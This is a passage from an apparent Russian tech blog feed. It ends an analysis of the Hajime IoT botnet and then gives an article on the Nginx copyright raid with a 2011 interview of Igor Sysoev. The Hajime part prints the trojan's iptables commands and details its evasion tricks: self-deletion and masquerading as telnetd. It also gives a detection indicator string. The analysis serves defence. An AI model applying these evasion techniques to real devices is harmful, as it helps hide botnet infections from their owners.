  &lt;p&gt;Запустившись в системе, основной модуль Hajime пытается убить все процессы, имеющие входящие и исходящие соединения с 23-м портом, для чего анализирует содержимое файлов &lt;code&gt;/proc/net/tcp&lt;/code&gt; и &lt;code&gt;/proc/net/tcp6&lt;/code&gt;. Затем троян модифицирует iptables, чтобы перекрыть доступ к портам 7547, 5555, 5358, и удаляет цепочку &lt;code&gt;CWMP_CR&lt;/code&gt;, которая используется в части роутеров Movistar:&lt;/p&gt;
  &lt;pre&gt;iptables -A INPUT -p tcp --destination-port 7547 -j DROP
iptables -A INPUT -p tcp --destination-port 5555 -j DROP
iptables -A INPUT -p tcp --destination-port 5358 -j DROP
iptables -D INPUT -j CWMP_CR
iptables -X CWMP_CR
&lt;/pre&gt;
  &lt;p&gt;После инициализации Hajime отправляет NTP-запрос к серверу pool.ntp.org, чтобы определить временную зону устройства, а также корректное значение текущей даты. Если запрос не дал результата, используется локальное время. Точное определение времени и даты очень важно для синхронизации ботнета, а некоторые умные устройства, где используются установленные по умолчанию параметры авторизации, имеют неправильную конфигурацию системного времени. Если пользователь не изменил логин и пароль, с чего бы ему менять другие настройки? Создатели Hajime учли этот тонкий момент.&lt;/p&gt;
  &lt;p&gt;Затем командой &lt;code&gt;unlink&lt;/code&gt; трой удаляет собственный файл из системы, после чего при помощи функции &lt;code&gt;strcpy&lt;/code&gt; меняет символьную строку &lt;code&gt;argv[0]&lt;/code&gt;, в которой хранится имя программы, на &lt;code&gt;telnetd&lt;/code&gt;. Наконец, с использованием системного вызова &lt;code&gt;prctl(PR_SET_NAME, argv[0])&lt;/code&gt; он меняет имя своего процесса. Таким хитрым способом Hajime пытается замаскироваться под стандартный демон Telnet, чтобы не вызывать у юзера подозрений.&lt;/p&gt;
  &lt;p&gt;Дальше управление передается модулю, который отвечает за работу DHT-протокола &lt;a href=&quot;https://ru.wikipedia.org/wiki/Kademlia&quot; target=&quot;_blank&quot;&gt;Kademlia&lt;/a&gt;, предназначенного для организации одноранговых децентрализованных файлообменных сетей. Непосредственно для приема и передачи данных ботнет использует транспортный протокол uTorrent. Это, в частности, позволяет зараженным девайсам успешно работать под NAT.&lt;/p&gt;
  &lt;p&gt; &lt;/p&gt;
  &lt;h3&gt;Ботнет&lt;/h3&gt;
  &lt;p&gt;Маршрутизация в ботнете Hajime базируется на модифицированном проекте &lt;a href=&quot;https://github.com/mwarning/KadNode&quot; target=&quot;_blank&quot;&gt;KadNode&lt;/a&gt;, который поддерживает шифрование и инфраструктуру открытых ключей (PKI). Передаваемые файлы сжимаются при помощи модифицированного алгоритма LZ4, но некоторые файлы могут транслироваться и в несжатом виде.&lt;/p&gt;
  &lt;p&gt;После инициализации протокола Hajime устанавливает соединение с пирами Torrent-ботнета и скачивает актуальный конфиг. Для опознавания пиров в сети используются уникальные идентификаторы ботов, генерируемые на основе текущей даты и хеша SHA-1, полученного от имени файла трояна. Наличие свежего конфигурационного файла на других узлах ботнета Hajime проверяет с интервалом в десять минут.&lt;/p&gt;
  &lt;p&gt;Типичный конфиг содержит обозначение процессорной архитектуры, для которой собраны исполняемые файлы, имена этих файлов и timestamp, позволяющий трою определить их версию. Если файл в сети свежее того, информация о котором сохранена в локальном конфиге вредоноса, он скачивает бинарник для соответствующей аппаратной конфигурации и запускает его в качестве своего дочернего процесса. Аналогичным образом работает самообновление Hajime.&lt;/p&gt;
  &lt;p&gt;P2P-&lt;a href=&quot;https://xakep.ru/2017/10/06/botnet-evolution/&quot; target=&quot;_blank&quot;&gt;ботнет&lt;/a&gt;, созданный по такой схеме, получается одноранговым, а значит, децентрализованным и отказоустойчивым. Он не зависит от наличия управляющих серверов, следовательно, не прекращает свою деятельность, если какое-то количество инфицированных устройств вдруг «вылечится» или перестанет работать. Да и засинкхолить такой ботнет, чтобы перехватить управление, физически невозможно.&lt;/p&gt;
  &lt;p&gt;Обосновавшись в системе, Hajime запускает цикл генерации и опроса IP-адресов, чтобы продолжить заражать уязвимые сетевые устройства. При этом сам хост выступает в роли сервера, с которого скачивается исполняемый файл инфектора и тело троянца. Если для заражения какого-то удаленного хоста требуется файл с поддержкой другой аппаратной архитектуры, Hajime может подтянуть его из пиринговой сети.&lt;/p&gt;
  &lt;p&gt; &lt;/p&gt;
  &lt;h3&gt;Цели, задачи и выводы&lt;/h3&gt;
  &lt;p&gt;В Hajime по умолчанию не предусмотрены какие-либо деструктивные функции за исключением одной: трой может скачивать и запускать на инфицированном устройстве любые приложения. Ключевое слово здесь — «любые». Поэтому для ботовода не составит никакого труда при необходимости установить на все зараженные девайсы модуль для реализации DDoS-атак, бэкдор, майнер или просто продавать инсталлы всем желающим, зарабатывая за счет других вирусописателей. Иными словами, готовый ботнет можно монетизировать множеством различных способов. Но как бы то ни было, о назначении трояна до сих пор &lt;a href=&quot;https://xakep.ru/2017/04/28/hajime-botnet-grows/&quot; target=&quot;_blank&quot;&gt;строятся догадки и предположения&lt;/a&gt;.&lt;/p&gt;
  &lt;p&gt;Существует несколько методов защиты от Hajime. Можно закрыть на потенциально уязвимом устройстве порт 4636, через который трой качает полезную нагрузку. Можно блокировать все входящие соединения на порт 23, если в запросе присутствует строка &lt;code&gt;/bin/busybox ECCHI&lt;/code&gt; — явный индикатор атаки. Но лучше всего правильно настроить параметры авторизации по протоколам Telnet и SSH, используя сложные пароли: это защитит девайс от брута по словарю, который применяют Hajime и Mirai, а владельцу такого устройства позволит сберечь нервы.&lt;/p&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://t.me/Bureau121&quot; target=&quot;_blank&quot;&gt;ПОДПИСАТЬСЯ - Бюро121&lt;/a&gt;&lt;/p&gt;

</content></entry><entry><id>bureau121:odwith4p</id><link rel="alternate" type="text/html" href="https://teletype.in/@bureau121/odwith4p?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=bureau121"></link><title>Как стартовал Nginx. О разработке знаменитого веб-сервера</title><published>2020-02-19T06:10:58.424Z</published><updated>2020-02-19T06:10:58.424Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/4d/ba/4dbabe53-7aa9-449b-9669-335692284b10.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://teletype.in/files/16/4d/164dfc7f-f35f-4890-9bb2-02f2ce484908.jpeg&quot;&gt;
Источник: t.me/Bureau121</summary><content type="html">
  &lt;p&gt;&lt;br /&gt;Источник: t.me/Bureau121&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/16/4d/164dfc7f-f35f-4890-9bb2-02f2ce484908.jpeg&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/f752c45673b040ee7877b.png&quot; width=&quot;900&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/2c52d3c4544e53efffcaf.png&quot; width=&quot;900&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Как видно из текста постановления, обыск проводился в связи с возбужденным уголовным делом по частям «Б» и «В» статьи 146 УК РФ («Нарушение авторских и смежных прав», пункты «в особо крупном размере» и «группой лиц по предварительному сговору или организованной группой»). В итоге разработчикам и основателям Nginx грозит не только потеря проекта, но и до шести лет лишения свободы.&lt;/p&gt;
  &lt;p&gt;Суть претензии «Рамблера» состоит в том, что некие «неустановленные лица», в рабочее время и по приказу руководства компании, не позднее 4 октября 2004 года создали «программу для ЭВМ „энджиникс“», а затем, «имея умысел на нарушение авторских прав», опубликовали ее в Сети и принялись распространять, заявляя, что права на нее принадлежат исключительно Игорю Сысоеву — основателю и разработчику Nginx, бывшему сотруднику «Рамблера».&lt;/p&gt;
  &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p&gt;«Мы обнаружили, что исключительное право компании „Рамблер Интернет Холдинг“ на веб-сервер Nginx нарушено в результате действий третьих лиц. В связи с этим &amp;quot;Рамблер Интернет Холдинг&amp;quot; уступила права на предъявление претензий и исков, связанных с нарушением прав на Nginx, компании Lynwood Investments CY Ltd, которая обладает необходимыми компетенциями для восстановления справедливости в вопросе о принадлежности прав», — &lt;a href=&quot;https://www.kommersant.ru/doc/4190259&quot; target=&quot;_blank&quot;&gt;сообщили&lt;/a&gt; в пресс-службе Rambler Group.&lt;/p&gt;
  &lt;p&gt;Издание «Коммерсант» отмечает, что компания Lynwood Investments связана с совладельцем Rambler Group Александром Мамутом — в частности, через эту компанию бизнесмен владел британской книжной сетью Waterstones.&lt;/p&gt;
  &lt;p&gt;В Rambler Group оценивают свой ущерб по состоянию на 2011 год в 51,4 миллиона рублей.&lt;/p&gt;
  &lt;p&gt;Напомним, что в 2011 году Игорь Сысоев покинул «Рамблер» и основал компанию Nginx, которая, помимо свободного ПО, стала предлагать коммерческие продукты. В настоящее время Nginx — это &lt;a href=&quot;https://news.netcraft.com/archives/2018/02/13/february-2018-web-server-survey.html&quot; target=&quot;_blank&quot;&gt;один из самых популярных веб-серверов в интернете&lt;/a&gt;, с использованием его работает почти четверть всех сайтов.&lt;/p&gt;
  &lt;p&gt;Уже к 2018 году выручка Nginx составляла 26 миллионов долларов, и в марте 2019 года Nginx за 670 миллионов долларов &lt;a href=&quot;https://www.nginx.com/blog/nginx-is-now-officially-part-of-f5/&quot; target=&quot;_blank&quot;&gt;приобрела&lt;/a&gt; компания F5, один из мировых лидеров в области мультиоблачных сервисов. Команда разработки проекта, включая его основателей Игоря Сысоева и Максима Коновалова, продолжила работу над Nginx уже в составе F5.&lt;/p&gt;
  &lt;h3&gt;Что об этом говорят&lt;/h3&gt;
  &lt;p&gt;Сообщество и российская ИТ-индустрия отреагировали на происходящее с Nginx очень бурно, и многие сочли эти события крайне плохим знаком для российского интернет-бизнеса. Мы собрали некоторые важные реакции и комментарии.&lt;/p&gt;
  &lt;p&gt;Директор по распространению технологий «Яндекса» Григорий Бакунов aka Bobuk поддержал Сысоева и опубликовал от лица компании официальное заявление, озаглавленное «&lt;a href=&quot;https://yandex.ru/blog/company/open-source-nashe-vse&quot; target=&quot;_blank&quot;&gt;Open source — наше всё&lt;/a&gt;».&lt;/p&gt;
  &lt;p&gt;Игорь Ашманов, занимавший должность исполнительного директора Рамблера в начале нулевых, &lt;a href=&quot;https://www.kommersant.ru/doc/4190542&quot; target=&quot;_blank&quot;&gt;заявляет&lt;/a&gt;, что не видит перспектив для данного дела. «Никаких служебных заданий, предписывающих разрабатывать такой веб-сервер, не было», — утверждает он. Более того, &lt;a href=&quot;https://roem.ru/12-12-2019/281134/rambler-nginx/#comment-292045&quot; target=&quot;_blank&quot;&gt;по словам Ашманова&lt;/a&gt;, при найме на работу с Сысоевым было специально оговорено, что у него есть свой проект, которым он имеет право заниматься. Поэтому изложенную в материалах уголовного дела версию он считает «чушью».&lt;/p&gt;
  &lt;p&gt;Основатель Habr Денис Крючков &lt;a href=&quot;https://twitter.com/deniskin/status/1205109343139586048&quot; target=&quot;_blank&quot;&gt;пишет в Twitter&lt;/a&gt;, что «по странному стечению обстоятельств [эту] историю достали после захода Сбера в Рамблер», имея в виду, что в текущем году в акционерной структуре Rambler Group произошли изменения: в августе Сбербанк закрыл сделку по покупке 46,5% компании. Также Крючков &lt;a href=&quot;https://twitter.com/deniskin/status/1205130033892859904&quot; target=&quot;_blank&quot;&gt;напоминает&lt;/a&gt;, что сайты мвд.рф и kremlin.ru тоже используют в работе Nginx.&lt;/p&gt;
  &lt;p&gt;Глава провайдера Diphost и владелец телеграм-канала «Эшер II» Филипп Кулин &lt;a href=&quot;https://t.me/usher2/1423&quot; target=&quot;_blank&quot;&gt;пишет&lt;/a&gt;: «В nginx вложено большое количество кода сторонних людей. Если Рамблеру чудом удастся обнулить свободную лицензию, люди гипотетически смогут потребовать удалить их код из nginx, так как не передавали исключительных прав Рамблеру. И такие найдутся. Сам факт тяжб будет делать продукт токсичным. А выигранные споры — превратят его в кирпич 15-летней давности. В мире ничего не изменится. Скорее всего, решение локального суда будет там признано политически ангажированным».&lt;/p&gt;
  &lt;p&gt;Американская компания F5 Networks, купившая Nginx в этом году, подтвердила факт обыска в московском офисе компании, но не уточнила никаких деталей. «Ранее сегодня российская полиция пришла в московский офис Nginx. Мы все еще собираем факты по этому вопросу, поэтому у нас нет никаких комментариев, которые можно дать в настоящее время», — заявили в F5 Networks.&lt;/p&gt;
  &lt;p&gt;Еще в 2011 году тогдашний главный редактор «Хакера» Степа Ильин брал интервью у Игоря Сысоева, и уже тогда спрашивал его, не возникнет ли у «Рамблера» вопросов относительно авторских прав и удалось ли Игорю сохранить права на пакет за собой. Игорь ответил, что все в полном порядке, разработку Nginx он начинал еще до работы в Рамблере, а продукт с самого начала выпускался под лицензией BSD, как открытое программное обеспечение.&lt;/p&gt;
  &lt;h4&gt;— Игорь, расскажите, как строилось ваше образование, как пришли к программированию и вообще увлеклись компьютерами.&lt;/h4&gt;
  &lt;p&gt;— Я родился в Казахстане в маленьком городке. Когда мне было около года, моего отца (он военный) перевели в Алма-Ату, и я жил там до 18 лет. В 1987 году я окончил школу и поехал поступать в МВТУ имени Баумана, однако с первого раза поступить не удалось, и я вернулся назад в Алма-Ату, где устроился работать лаборантом в филиал Института повышения квалификации Министерства геологии СССР. Там были старые компьютеры «Искра-226», на них я и начал что-то программировать на бейсике.&lt;/p&gt;
  &lt;p&gt;А еще в то время в журнале «Радио» была опубликована серия статей, как собрать собственный компьютер «Радио-86РК», и благодаря их чтению у меня сложилось достаточно неплохое представление, как компьютер устроен и как он работает. А первый опыт работы с компьютерами был чуть раньше: в старших классах я ходил во Дворец пионеров, и там поставили компьютеры Yamaha КУВТ (стандарта MSX). Помню, когда набирал первую программку, перепутал единицу с буквой I. В общем, она у меня не работала из-за таких вещей.&lt;/p&gt;
  &lt;h4&gt;— А помните свою первую программу, которой пользовались другие люди?&lt;/h4&gt;
  &lt;p&gt;— Моя первая крупная и отчуждаемая программа — это антивирус AV, который я написал в 1989–1990 годах. Написан он был полностью на ассемблере, объем ассемблерного кода был где-то порядка 100 Кбайт. Программа умела находить несколько вирусов, имея зашитую внутрь программы базу с несколькими сигнатурами известных тогда в СССР вирусов, которых было от силы штук десять: вирусы «Марихуана», «София», «Вена» и еще несколько, не помню их названий. Вот это и была моя первая программа, которую я распространял в бинарниках — исходников я тогда не раздавал. В итоге она разошлась по стране, была установлена даже на нескольких заводах. Была и обратная связь: люди по почте слали письма с вирусами, записанными на дискеты. Какое-то время я поддерживал данный антивирус, но в итоге году в 1992-м я уже потерял интерес к этой теме, и программа умерла.&lt;/p&gt;
  &lt;p&gt;В 1994 году я окончил институт, а за год до этого начал работать системным администратором в одной компании, которая была связана с торговлей нефтепродуктами. Там я проработал почти семь лет, после чего в апреле 2000 года я решил уйти. Тогда как раз сдулся NASDAQ, лопнул «пузырь доткомов», и как раз в этот момент я решил уйти в интернет. Полгода я проработал в интернет-магазине XXL.RU, после чего, как сейчас помню, 13 ноября 2000 года я пришел работать в Рамблер.&lt;/p&gt;
  &lt;h4&gt;— Чем вы занимались в Рамблере?&lt;/h4&gt;
  &lt;p&gt;— Я работал системным администратором. Однако кроме непосредственной работы сисадмина я снова начал в свободное время писать программы. Надо отметить, что в мои должностные обязанности программирование не входило, но поскольку были время и тяга, то первое, чем я занялся, — адаптировал патч для сжатия ответов Apache. К сожалению, на тот момент имя mod_gzip было уже занято, поэтому я назвал свой вариант mod_deflate, работал он с Apache 1.3.&lt;/p&gt;
  &lt;p&gt;Потом меня попросили разобраться с модулем mod_proxy. Я его посмотрел и решил, что проще написать все с нуля, чем адаптировать там какие-то вещи. Таким образом появился модуль mod_accel — модуль и набор патчей для Apache для реверсного проксирования. Это все тоже было весной 2001 года.&lt;/p&gt;
  &lt;h4&gt;— То есть все эти модули вы делали для Рамблера, одновременно выкладывая в паблик?&lt;/h4&gt;
  &lt;p&gt;— В основном да. Mod_deflate на самом деле пришел из патча, который писал Дмитрий Хрусталев, работая в РБК. То есть этот патч был взят за основу, там моего кода, может, половина только.&lt;/p&gt;
  &lt;p&gt;Осенью 2001 года у меня появилась идея написать более легкий и производительный веб-сервер, чем Apache. На тот момент были уже другие похожие серверы, но все они не умели проксировать, они отдавали только статику. Был у них еще один общий недостаток — они работали в одном процессе, и, соответственно, отмасштабировать их, допустим, на двухпроцессорной машине было нереально.&lt;/p&gt;
  &lt;p&gt;На тот момент у меня уже был достаточно неплохой опыт работы с Apache — и как у системного администратора, и как у программиста. Два написанных модуля прибавили мне знаний: приходилось смотреть исходники Apache и понимать, как там все устроено. Поэтому очень многие вещи в Nginx перекочевали из Apache идеологически. Не код, а именно идеология, весь код Nginx был написан с нуля.&lt;/p&gt;
  &lt;p&gt;Однако не все мне нравилось в Apache: например, там очень легко можно сделать такую конфигурацию, которую будет крайне сложно поддерживать. То есть сайт растет, добавляется какая-то новая функциональность, и в конце концов работать с сайтом становится невозможно. Нужно что-то добавить, и ты сидишь, думаешь: «А что у меня сломается от того, что я добавлю?» В Nginx я попытался этих вещей избежать. В общем, где-то весной 2002-го я начал разрабатывать Nginx.&lt;/p&gt;
  &lt;h4&gt;— Быстро ли о ваших разработках узнали внешние по отношению к Рамблеру люди? Как эволюционировал проект?&lt;/h4&gt;
  &lt;p&gt;— В 2003 году про мои разработки прознали снаружи Рамблера, и, более того, Nginx начал использоваться на нескольких сайтах. Первым был эстонский сайт знакомств Rate.ee, который и сейчас существует. Это, кстати, самый высоконагруженный сайт Эстонии. Потом Nginx начал использоваться на mamba.ru и на zvuki.ru, где раздавал MP3.&lt;/p&gt;
  &lt;p&gt;В начале 2004 года Рамблер запускал сервис foto.rambler.ru, и один из коллег, Олег Бунин, попросил меня доделать в Nginx функциональность проксирования запросов, чтобы начать полноценно использовать его в том числе на фотосервисе Рамблера. До этого момента проект был достаточно академическим, я его постепенно писал, но это могло никогда ничем не кончиться, то есть в продакшн его, может быть, нигде и не поставили бы. В общем, получилось так, что я срочно доделал и проксирование. И где-то в начале 2004 года появилась версия с проксированием, а сервис foto.rambler.ru заработал на базе Nginx.&lt;/p&gt;
  &lt;p&gt;4 октября 2004 года, в очередную годовщину запуска первого космического спутника, я выпустил первую публичную версию: 0.1.0.&lt;/p&gt;
  &lt;h4&gt;— Сейчас доля Nginx растет очень быстро, а как дело было в самом начале?&lt;/h4&gt;
  &lt;p&gt;Сейчас он действительно растет достаточно быстро. Вначале все было заметно скромнее. В первый год наибольшую популярность Nginx по очевидным причинам набирал в России. В дальнейшем про Nginx узнали и за ее пределами, и отдельные энтузиасты начали его использовать на свой страх и риск. Появился англоязычный список рассылки, стали появляться сторонние ресурсы, описывающие Nginx, люди присылали мне все больше пожеланий и замечаний, я вносил исправления, продукт постепенно набирал популярность. Сейчас проект действительно растет очень быстро, и это стало одним из поводов для создания компании. В одиночку я уже просто перестал справляться.&lt;/p&gt;
  &lt;h4&gt;— Так что, никакого продвижения вообще не было, получается, продукт сам себя сделал?&lt;/h4&gt;
  &lt;p&gt;С моей стороны никакого специального пиара не было. Хотя есть такое мнение, что лучший пиар — это просто хороший продукт. То есть весь рост обуславливался тем, что Nginx «просто работал» и люди рассказывали о своем положительном опыте знакомым админам, те — своим знакомым, и так по принципу сарафанного радио. Популярность Nginx, на мой взгляд, связана с несколькими вещами. Во-первых, это эффективный и бесплатный софт, который позволяет существенно экономить аппаратные ресурсы и денежные средства, во-вторых, он в принципе неплохо работает.&lt;/p&gt;
  &lt;h4&gt;— Но есть же аналоги, lighttpd тот же самый например.&lt;/h4&gt;
  &lt;p&gt;— На самом деле есть еще пара причин: получилась довольно интересная комбинация жизненно важных фич для создания эффективной веб-инфраструктуры, которые я добавлял постепенно и которые сделали Nginx таким незаменимым инструментом. При этом Nginx не перегружен ненужными фичами и остается очень компактной разработкой. Кроме того, модульность Nginx позволила многим компаниям и сторонним разработчикам строить свои расширения на базе ядра Nginx. Можно сказать, что Nginx давно стал в своем роде веб-платформой.&lt;/p&gt;
  &lt;p&gt;По поводу lighttpd (lighty). Когда-то он был более распространен, чем Nginx, и более известен в мире. Его автор — немец Ян Кнешке (Jan Kneschke). Разница в популярности была связана с тем, что Россия — непонятная страна с балалайкой и медведем, снегом, а тут Европа. Опять же, и с английским у него лучше было, в том числе и с английской документацией.&lt;/p&gt;
  &lt;p&gt;Кстати, благодаря lighttpd обрел второе дыхание протокол FastCGI. До 2000–2001 года это была экзотика, все использовали интерпретаторы, которые были внутри Apache: PHP, Perl, Python. А поскольку в lighttpd исполнять внутри процесса PHP-код нереально, то решением стал FastCGI. И именно благодаря lighttpd FastCGI обрел вторую жизнь. Хотя еще в 2000 году люди говорили: «Зачем, что это такое — FastCGI? У нас есть mod_php, и там все прекрасно работает».&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/6fa87216a1cfee167c7b6.png&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;h4&gt;— Какие главные кейсы использования Nginx вы видите сейчас?&lt;/h4&gt;
  &lt;p&gt;— Основное использование на нагруженных сайтах — это проксирование. При этом Nginx установлен в качестве фронтэнда и проксирует приложения на бэкэндах по HTTP либо по FastCGI или WSGI. При этом стандартным подходом является использование в связке с Apache — например, на моем предыдущем месте работы Nginx долгое время работал именно так, только пару лет назад переключились на использование FastCGI. Кстати, в этом случае в статистике отображается, что появляется Nginx, пропадает Apache. Хотя на самом деле используется и то и другое: просто Nginx является одним из компонентов прокси-системы, видимым снаружи.&lt;/p&gt;
  &lt;h4&gt;— Объясните наглядно, зачем вообще проксировать запросы?&lt;/h4&gt;
  &lt;p&gt;— Почему, собственно, люди используют Apache с Nginx? Казалось бы, зачем тут лишнее звено, которое будет мешать. Apache хорошо и легко использовать там, где нужно выполнение какого-то приложения, например с помощью mod_php. Вот теперь представьте себе, что этот PHP способен генерировать 100 ответов в секунду, а каждый ответ имеет размер, условно, 100 Кбайт. Не все клиенты используют быстрые соединения: 10 лет назад были модемные клиенты, сейчас очень распространен мобильный интернет, у кого-то просто плохой провайдер или медленный тариф.&lt;/p&gt;
  &lt;p&gt;И вот у нас есть ответ объемом 100 Кбайт и эффективная скорость к клиенту, например 80 Кбит/с (10 Кбайт/с). Значит, этот ответ будет передаваться клиенту 10 секунд. В результате все это время, пока клиент медленно скачивает ответ, Apache вместе с PHP «жрет» 10–20 Мбайт памяти на одного клиента. И вместо того, чтобы заниматься тем, что Apache может делать быстро, он ждет, пока медленные клиенты загрузят ответы. На все это расходуется очень много памяти, да и процессор тоже.&lt;/p&gt;
  &lt;p&gt;Когда мы ставим Nginx между клиентами и Apache, то все начинает работать эффективнее: Nginx максимально быстро принимает на себя весь ответ, освобождая Apache, и потом уже медленно отдает его клиентам, не расходуя много памяти. Много памяти или процессора Nginx не расходует, потому что используется другая архитектура веб-сервера — неблокируемая, основанная на асинхронной обработке событий, что позволяет обрабатывать многие тысячи соединений в рамках одного процесса (в отличие от Apache, где каждое соединение обрабатывается отдельным процессом или тредом. — &lt;em&gt;прим. ред.&lt;/em&gt;).&lt;/p&gt;
  &lt;p&gt;Ну и плюс к этому мы можем с бэкэнда вынести все статические файлы, это простая вещь, с которой Nginx может справиться очень легко и максимально эффективно — таких статических файлов Nginx может отдавать одновременно десятки тысяч в секунду, если память позволяет и если позволяет сетевое соединение с сервером.&lt;/p&gt;
  &lt;h4&gt;— Давайте вернемся к типовым сценариям.&lt;/h4&gt;
  &lt;p&gt;— Итак, первый сценарий — это когда мы просто занимаемся акселерированием, может быть, даже одного-единственного сайта. У нас был Apache, мы поставили перед ним Nginx, и — бах! — случилось чудо. Люди реально ставят и удивляются, а потом пишут на «Хабр» о том, что «надо же, как клево». Второй вариант — это тоже проксирование, но у нас много бэкэндов, то есть мы можем эффективно масштабировать горизонтально всю систему при условии, что само приложение это позволяет. Таким образом, Nginx выступает в роли балансировщика нагрузки.&lt;/p&gt;
  &lt;p&gt;Одним из недостатков текущей реализации является отсутствие нескольких политик балансировки, но люди пользуются, это работает, а функционал мы будем добавлять. Что еще? Еще сценарий, например, такой: многим людям почему-то Apache не нравится. Хотят, чтобы на сервере был только Nginx, не хотят ставить Apache. В этом случае все скрипты у них работают через FastCGI для PHP или WSGI для Python.&lt;/p&gt;
  &lt;p&gt;Например, WordPress.com — они давным-давно начали использовать Nginx в качестве балансировщика, а веб-сервером у них выступал коммерческий LiteSpeed. В этом году они уже полностью мигрировали на Nginx, теперь у них PHP работает в режиме FastCGI.&lt;/p&gt;
  &lt;p&gt;Другой стандартный вариант использования — когда Nginx просто отдает всю статику, допустим MP3, FLV-, MPEG4-видео, картинки.&lt;/p&gt;
  &lt;h4&gt;— Давайте немного поговорим про безопасность. Были ли за время существования Nginx какие-либо серьезные уязвимости?&lt;/h4&gt;
  &lt;p&gt;— Уязвимости были разные, но проблем с тем, чтобы с их помощью получить удаленный доступ, код выполнить, — такого не было. Можно было ронять рабочие процессы, но вот именно исполнить код — таких уязвимостей не было. Смотрите, обычно эксплоит рассчитан на что? Мы чего-то записали в сервер, ему это дело упало на стек. Сервер работает, делает возврат и попадает на этот код.&lt;/p&gt;
  &lt;p&gt;Соответственно, чтобы эксплоит заработал, надо знать, где стек будет у этого процесса. Как правило, когда есть какой-нибудь пакет Debian/Ubuntu, есть бинарник, можно воспроизвести у себя аварийную ситуацию, попытаться найти, где находится этот стек, и таким образом сделать эксплоит. Как стали с этим бороться? Стали рандомизировать адресное пространство — в современной винде, например, это так работает.&lt;/p&gt;
  &lt;h4&gt;— ASLR?&lt;/h4&gt;
  &lt;p&gt;— Да, верно. Это рандомизация. У нас стек был тут, а теперь стал вот тут. И, соответственно, мы не можем предугадать, то есть мы взяли пакет, а понять, где у него теперь стек, не получится. У Nginx в этом плане проще, потому что на стеке данных, которые читаются от клиентов, практически нет. Можно пересчитать по пальцам несколько случаев, где это используется, но в этих местах код довольно надежен. Данные, получаемые от клиентов, Nginx размещает «в куче», выделяя память при помощи &lt;code&gt;malloc&lt;/code&gt;.&lt;/p&gt;
  &lt;p&gt;Соответственно, если туда записать где-то чуть побольше, то мы не попадем на указатель стека. Вот эта рандомизация в Nginx присутствовала с самого начала. В общем, написать рабочий эксплоит если и можно, то очень сложно. Кроме того, процессы, которые занимаются обработкой запросов, не работают от «рута».&lt;/p&gt;
  &lt;p&gt;Security-advisory были, их можно посмотреть на сайте. Я считаю, что на все эти сообщения об ошибках нужно реагировать адекватно, спокойно и профессионально. Например, скрывать факт бага, когда все уже опубликовано, говорить типа «Что? Ничего не было, все хорошо» — это просто-напросто подрывает доверие к проекту.&lt;/p&gt;
  &lt;h4&gt;— Сколько человек занималось раньше и занимается сейчас разработкой, развитием проекта?&lt;/h4&gt;
  &lt;p&gt;— Долгое время занимался я один, практически весь код я написал в одиночку. Года четыре назад мне стал все больше помогать Максим Дунин. Кроме нас двоих еще по мере развития продукта люди присылали патчи. Причем часто присылают просто письма с текстовым описанием проблем или пожелания. Мне говорят: «Есть ошибка, решить можно ее вот так». Просто словами. Мы это делаем по мере сил.&lt;/p&gt;
  &lt;p&gt;Еще у нас сейчас есть отдельный человек — Руслан Ермилов, который сейчас занимается документацией. Он выполняет несколько задач: это перевод текущей русской документации на английский язык, актуализация сведений и адаптация документации, чтобы она была понятна и однозначна для людей, впервые ее читающих. Частая проблема, когда автор пишет документацию, у него в голове есть определенный контекст, и он отталкивается от него. Думает, что вот это само собой разумеется, а в итоге упускает много деталей. С этим мы как раз активно боремся: Руслан смотрит на Nginx «со стороны», свежим взглядом, поэтому способен писать так, чтобы всем все было понятно. Кроме того, у Руслана огромный опыт участия в разработке и документировании сложных программных проектов.&lt;/p&gt;
  &lt;h4&gt;— Предлагаю перейти к вопросам, связанным с компанией Nginx и с тем, как вы вообще пришли к созданию бизнеса.&lt;/h4&gt;
  &lt;p&gt;Сейчас все расскажу. Итак, наверное, году в 2008-м пришло мне первое письмо от инвестора, я уже не помню даже, кто это был. В общем, за последние два года таких писем было около десятка. Люди хотели что-то сделать с Nginx, сделать компанию. Но я отказывался, поскольку я в целом не особо бизнесмен. Но в конце концов я стал понимать, что что-то делать нужно, иначе я просто не смогу дальше в одиночку развивать проект, уже не хватало сил на все.&lt;/p&gt;
  &lt;p&gt;Довольно много времени ушло на то, чтобы осмыслить, как и с кем я хотел бы сделать компанию «вокруг» Nginx. Вообще, я очень редко меняю направление жизни: например, до Рамблера я семь лет работал в одной компании, в Рамблере я тоже проработал десять лет. Перемены для меня тяжелы. Но тем не менее к весне этого года я все-таки окончательно решил основать компанию, которая бы помогла дальнейшему развитию проекта. Отчасти на этот шаг меня вдохновил Сергей Белоусов, создатель Parallels и фонда Runa Capital. Мы с ним несколько раз неформально общались, и в итоге я постепенно стал значительно ближе к идее создать компанию.&lt;/p&gt;
  &lt;h4&gt;— Сергей умеет убеждать, да?&lt;/h4&gt;
  &lt;p&gt;— Сергей вообще очень интересный человек, с ним всегда увлекательно обсуждать дела и не только, он очень энергичный человек. Сергей также довольно властный руководитель — я думаю, он влияет на очень многие решения в своих компаниях, это владелец, который любит контролировать происходящее, непосредственно участвовать в бизнесе.&lt;/p&gt;
  &lt;p&gt;Вообще, процесс переговоров с инвесторами, подписание условий сделки, куча всего — это вещь тяжелая, потому что, во-первых, очень много скучных деталей, огромное количество бумаги на английском языке, юридической, ее на русском-то языке читать тяжело, а по-английски — тем более. Обговаривание всего, опять же согласование всех вещей: мы хотим то-то, они хотят то-то. Психологически это тяжело. Зато потом, если инвесторы понимают твой бизнес, все становится значительно легче.&lt;/p&gt;
